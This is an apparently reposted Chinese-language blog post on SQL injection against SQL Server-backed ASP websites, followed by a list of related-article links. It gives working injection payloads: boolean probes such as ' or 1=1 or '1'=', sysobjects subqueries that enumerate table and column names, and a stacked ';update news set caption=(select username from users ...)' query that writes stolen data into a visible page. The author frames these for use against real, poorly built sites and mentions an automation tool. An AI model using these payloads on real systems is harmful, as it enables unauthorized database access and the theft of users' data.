專門針對SQL Server的注入手段
小弟潛心研究sql injection一個余月,發現國記憶體在sql injection漏洞的網站一大把一大把,80%以上的asp網站都似乎是不學無術、騙吃騙喝的“程式設計師”所做。不光漏洞多,而且網站內部結構也是零亂無比……
關於sql injection網上流傳甚廣的SQL隱碼攻擊天書可以說是非常不錯的入門介紹了,在這裡也要重複一些老套的手法。
首先上手的都是1=1,1=2的方法測試驗證漏洞,字元則用' or 1=1 or '1'='。
而sql server特別的還有user>0,db_name()>0。但是這些手法都只是檢測漏洞的方法,真正有用的在下面。
1、獲得所有的Table表名
(Select distinct Top 1 name from sysobjects where xtype='U' and status>0 and name not in (select distinct top i name from sysobjects where xtype='U' and status>0 order by name) order by name)>0
i為一個整數,i取1時,返回第一個table name(按表名排序),2返回第二個,依此類推,直到什麼都沒有返回為止。
2、得到表名後再獲得欄位名(field name)
(Select Top 1 col_name(object_id('TableName'),i) from sysobjects)>0
這一句返回TableName這個表裡第i個欄位的名字
3、得到所有的表名以及裡面欄位名,估計對這個網站的結構也就有相應的瞭解了。然後怎樣獲得欄位中的資料呢?
如果是字串,自然用>0的技倆,如果是其它型別,那就找一個新聞之類的表,再用
;update news set caption=(select username from users where id=9) where newsid=100;-- 之類的方法把你要的資料寫出來,這樣基本上就沒有你不知道的內容了。
我自己用VB做了個軟體,自動獲得表名和欄位名,速度極快,瞬間整個資料庫的結構就出來了。
當然這些不過是sql語句的構造而已,沒什麼過多的技術,另外這一個網頁也是sql server injection必備的喲[url]http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_tsqlcon_6lyk.asp[/url]
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/16436858/viewspace-629947/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- sql server針對表增加新的分割槽SQLServer
- 針對SQL Server的最佳化建議SQLServer
- SQL Server 之 SQL 注入篇SQLServer
- SQL Server的WAITFOR DELAY注入SQLServerAI
- Mobclix:iPad的20%應用專門針對遊戲類iPad遊戲
- 專門針對初學者的Node.js教程--四個例子絕對可用Node.js
- SQL 注入攻防入門詳解SQL
- 針對11.2 RAC丟失OCR和Votedisk所在ASM Diskgroup的恢復手段ASM
- 專門針對越獄iOS裝置的盜號木馬出現iOS
- 針對新型程式注入技術Ctrl-Inject原理分析
- 專門針對中國設計的勒索病毒來了 要密碼加QQ密碼
- 技術分享 | 一種針對PHP物件注入漏洞的新型利用方法PHP物件
- SQL Server專題 [zt]SQLServer
- SQL 注入有病,安全專家有何良方?SQL
- sql注入waf繞過簡單入門SQL
- sql server對於日期的處理SQLServer
- 導致專案需求蔓延的原因 應對專案蔓延的資訊化手段
- 實戰記錄之SQL server報錯手工注入SQLServer
- Java技術開發專題系列之【Guava RateLimiter】針對於限流器的入門到精通(針對於原始碼分析介紹)JavaGuavaMIT原始碼
- SQL Server中的執行引擎入門SQLServer
- SQL 注入:聯合注入SQL
- sql注入之union注入SQL
- sql注入SQL
- SQL 注入SQL
- 【DBA】Oracle 11g 針對SQL效能的新特性(三)- SQL Plan ManagementOracleSQL
- sql server中對時間日期的操作SQLServer
- 針對中大型專案的MEAN棧模版
- 針對ShotGun的ServerRewindOTGServer
- SQL查詢結果集對注入的影響及利用SQL
- sql注入修改SQL
- sql注入1SQL
- sql注入2SQL
- SQL防注入SQL
- 防止sql注入SQL
- 微軟推出針對Windows的React Native開發專案微軟WindowsReact Native
- 針對 Node.js 初學者的入門資源彙總Node.js
- 微軟win10革新:可能正在開發專門針對Windows Core OS新版活動中心微軟Win10Windows
- SQL 的注入式攻擊SQL